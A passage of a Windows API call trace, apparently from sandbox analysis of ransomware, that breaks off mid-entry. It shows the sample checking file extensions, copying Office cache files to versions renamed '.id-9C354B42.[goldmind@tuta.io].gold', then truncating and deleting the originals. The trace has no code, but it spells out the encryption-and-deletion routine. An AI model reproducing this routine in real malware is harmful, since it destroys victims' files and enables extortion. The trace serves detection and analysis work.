[0042.486] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0042.486] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 1 [0042.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0042.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0042.486] lstrlenW (lpString=".doc") returned 4 [0042.486] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.486] lstrlenW (lpString=".docx") returned 5 [0042.486] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0042.486] lstrlenW (lpString=".pdf") returned 4 [0042.486] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.486] lstrlenW (lpString=".xls") returned 4 [0042.486] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.486] lstrlenW (lpString=".xlsx") returned 5 [0042.486] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0042.486] lstrlenW (lpString=".ppt") returned 4 [0042.486] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0042.486] lstrlenW (lpString=".zip") returned 4 [0042.486] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.486] lstrlenW (lpString=".rar") returned 4 [0042.486] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.486] lstrlenW (lpString=".bz2") returned 4 [0042.486] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.486] lstrlenW (lpString=".7z") returned 3 [0042.487] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0042.487] lstrlenW (lpString=".dbf") returned 4 [0042.487] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0042.487] lstrlenW (lpString=".1cd") returned 4 [0042.487] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0042.487] lstrlenW (lpString=".jpg") returned 4 [0042.487] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0042.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0042.487] lstrlenW (lpString=".doc") returned 4 [0042.487] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.487] lstrlenW (lpString=".docx") returned 5 [0042.487] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0042.487] lstrlenW (lpString=".pdf") returned 4 [0042.487] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.487] lstrlenW (lpString=".xls") returned 4 [0042.487] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.487] lstrlenW (lpString=".xlsx") returned 5 [0042.487] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0042.487] lstrlenW (lpString=".ppt") returned 4 [0042.487] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0042.487] lstrlenW (lpString=".zip") returned 4 [0042.487] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.487] lstrlenW (lpString=".rar") returned 4 [0042.487] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.487] lstrlenW (lpString=".bz2") returned 4 [0042.487] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.487] lstrlenW (lpString=".7z") returned 3 [0042.487] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0042.487] lstrlenW (lpString=".dbf") returned 4 [0042.487] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0042.487] lstrlenW (lpString=".1cd") returned 4 [0042.487] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0042.487] lstrlenW (lpString=".jpg") returned 4 [0042.487] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.487] lstrcmpiW (lpString1=".EXE", lpString2=".gold") returned -1 [0042.487] lstrlenW (lpString="DW20.EXE") returned 8 [0042.487] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.488] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=838536) returned 1 [0042.488] CloseHandle (hObject=0x1a0) returned 1 [0042.488] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 0x2020 [0042.488] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.488] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.488] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.488] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.488] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0042.489] GetLastError () returned 0x0 [0042.489] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0xccb88, lpOverlapped=0x0) returned 1 [0042.507] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xccb90, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xccb90, lpOverlapped=0x0) returned 1 [0042.657] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.657] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0042.657] SetEndOfFile (hFile=0x1b0) returned 1 [0042.657] CloseHandle (hObject=0x1b0) returned 1 [0042.657] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.657] SetEndOfFile (hFile=0x1a0) returned 1 [0042.662] CloseHandle (hObject=0x1a0) returned 1 [0042.663] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0042.663] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 1 [0042.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0042.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0042.663] lstrlenW (lpString=".doc") returned 4 [0042.663] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0042.663] lstrlenW (lpString=".docx") returned 5 [0042.663] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0042.663] lstrlenW (lpString=".pdf") returned 4 [0042.663] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0042.663] lstrlenW (lpString=".xls") returned 4 [0042.663] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0042.663] lstrlenW (lpString=".xlsx") returned 5 [0042.663] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0042.663] lstrlenW (lpString=".ppt") returned 4 [0042.663] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0042.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0042.663] lstrlenW (lpString=".zip") returned 4 [0042.663] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0042.663] lstrlenW (lpString=".rar") returned 4 [0042.663] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0042.663] lstrlenW (lpString=".bz2") returned 4 [0042.663] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0042.663] lstrlenW (lpString=".7z") returned 3 [0042.663] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0042.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0042.663] lstrlenW (lpString=".dbf") returned 4 [0042.663] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0042.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0042.663] lstrlenW (lpString=".1cd") returned 4 [0042.663] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0042.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0042.664] lstrlenW (lpString=".jpg") returned 4 [0042.664] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0042.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0042.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0042.664] lstrlenW (lpString=".doc") returned 4 [0042.664] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0042.664] lstrlenW (lpString=".docx") returned 5 [0042.664] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0042.664] lstrlenW (lpString=".pdf") returned 4 [0042.664] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0042.664] lstrlenW (lpString=".xls") returned 4 [0042.664] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0042.664] lstrlenW (lpString=".xlsx") returned 5 [0042.664] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0042.664] lstrlenW (lpString=".ppt") returned 4 [0042.664] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0042.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0042.664] lstrlenW (lpString=".zip") returned 4 [0042.664] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0042.664] lstrlenW (lpString=".rar") returned 4 [0042.664] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0042.664] lstrlenW (lpString=".bz2") returned 4 [0042.664] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0042.664] lstrlenW (lpString=".7z") returned 3 [0042.664] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0042.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0042.664] lstrlenW (lpString=".dbf") returned 4 [0042.664] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0042.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0042.664] lstrlenW (lpString=".1cd") returned 4 [0042.664] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0042.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0042.664] lstrlenW (lpString=".jpg") returned 4 [0042.664] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0042.664] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0042.664] lstrlenW (lpString="dwdcw20.dll") returned 11 [0042.664] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.665] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=526176) returned 1 [0042.665] CloseHandle (hObject=0x1a0) returned 1 [0042.665] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 0x2020 [0042.665] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.665] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.665] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.665] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.665] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0042.665] GetLastError () returned 0x0 [0042.665] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x80760, lpOverlapped=0x0) returned 1 [0042.678] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x80770, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x80770, lpOverlapped=0x0) returned 1 [0042.686] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.686] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.686] SetEndOfFile (hFile=0x1b0) returned 1 [0042.686] CloseHandle (hObject=0x1b0) returned 1 [0042.686] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.686] SetEndOfFile (hFile=0x1a0) returned 1 [0042.690] CloseHandle (hObject=0x1a0) returned 1 [0042.690] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0042.690] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 1 [0042.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0042.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0042.691] lstrlenW (lpString=".doc") returned 4 [0042.691] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.691] lstrlenW (lpString=".docx") returned 5 [0042.691] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0042.691] lstrlenW (lpString=".pdf") returned 4 [0042.691] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.691] lstrlenW (lpString=".xls") returned 4 [0042.691] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.691] lstrlenW (lpString=".xlsx") returned 5 [0042.691] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0042.691] lstrlenW (lpString=".ppt") returned 4 [0042.691] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0042.691] lstrlenW (lpString=".zip") returned 4 [0042.691] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.691] lstrlenW (lpString=".rar") returned 4 [0042.691] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.691] lstrlenW (lpString=".bz2") returned 4 [0042.691] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.691] lstrlenW (lpString=".7z") returned 3 [0042.691] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0042.691] lstrlenW (lpString=".dbf") returned 4 [0042.691] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0042.691] lstrlenW (lpString=".1cd") returned 4 [0042.691] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0042.691] lstrlenW (lpString=".jpg") returned 4 [0042.691] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0042.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0042.691] lstrlenW (lpString=".doc") returned 4 [0042.691] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.691] lstrlenW (lpString=".docx") returned 5 [0042.691] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0042.691] lstrlenW (lpString=".pdf") returned 4 [0042.691] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.691] lstrlenW (lpString=".xls") returned 4 [0042.692] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.692] lstrlenW (lpString=".xlsx") returned 5 [0042.692] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0042.692] lstrlenW (lpString=".ppt") returned 4 [0042.692] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0042.692] lstrlenW (lpString=".zip") returned 4 [0042.692] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.692] lstrlenW (lpString=".rar") returned 4 [0042.692] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.692] lstrlenW (lpString=".bz2") returned 4 [0042.692] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.692] lstrlenW (lpString=".7z") returned 3 [0042.692] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0042.692] lstrlenW (lpString=".dbf") returned 4 [0042.692] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0042.692] lstrlenW (lpString=".1cd") returned 4 [0042.692] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0042.692] lstrlenW (lpString=".jpg") returned 4 [0042.692] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.692] lstrcmpiW (lpString1=".exe", lpString2=".gold") returned -1 [0042.692] lstrlenW (lpString="dwtrig20.exe") returned 12 [0042.692] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.693] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=519584) returned 1 [0042.693] CloseHandle (hObject=0x1a0) returned 1 [0042.693] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 0x2020 [0042.693] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.693] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.693] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.693] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.693] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0042.693] GetLastError () returned 0x0 [0042.693] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x7eda0, lpOverlapped=0x0) returned 1 [0042.978] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x7edb0, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x7edb0, lpOverlapped=0x0) returned 1 [0042.984] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.984] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | 